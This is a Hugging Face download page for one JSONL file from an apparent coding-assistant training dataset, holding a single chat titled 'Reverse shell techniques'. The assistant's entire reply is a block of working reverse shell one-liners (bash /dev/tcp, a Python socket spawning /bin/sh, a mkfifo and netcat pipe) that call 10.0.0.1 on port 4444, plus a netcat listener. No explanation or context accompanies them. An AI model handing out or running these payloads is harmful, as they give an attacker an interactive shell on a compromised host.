|
Download sec/sec-0024.jsonl from winapiadmin/tinycodinglm: direct link, hf CLI and curl.
- Browser
- Download file 1.05 kB
-
https://huggingface.co/datasets/winapiadmin/tinycodinglm/resolve/main/sec/sec-0024.jsonl
- Command line
-
hf download hf://datasets/winapiadmin/tinycodinglm/sec/sec-0024.jsonl
-
curl -L -o sec-0024.jsonl https://huggingface.co/datasets/winapiadmin/tinycodinglm/resolve/main/sec/sec-0024.jsonl
1.05 kB
| {"type": "session", "harness": "deepseek-harness", "id": "sec-0024", "name": "Reverse shell techniques"} | |
| {"type": "message", "message": {"role": "system", "content": "You are an expert software engineer and technical assistant. You provide accurate, detailed, and practical answers. When writing code, use best practices, proper error handling, and clear variable names. When analyzing code, identify bugs, security issues, and performance problems. You have deep knowledge of C/C++, Windows API, Python, and many other technologies."}} | |
| {"type": "message", "message": {"role": "user", "content": "What are common reverse shell techniques?"}} | |
| {"type": "message", "message": {"role": "assistant", "content": "```bash\nbash -i >& /dev/tcp/10.0.0.1/4444 0>&1\npython -c 'import socket,subprocess,os;s=socket.socket();s.connect((\"10.0.0.1\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/sh\",\"-i\"])'\nrm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 4444 >/tmp/f\nnc -lvnp 4444\n```"}} | |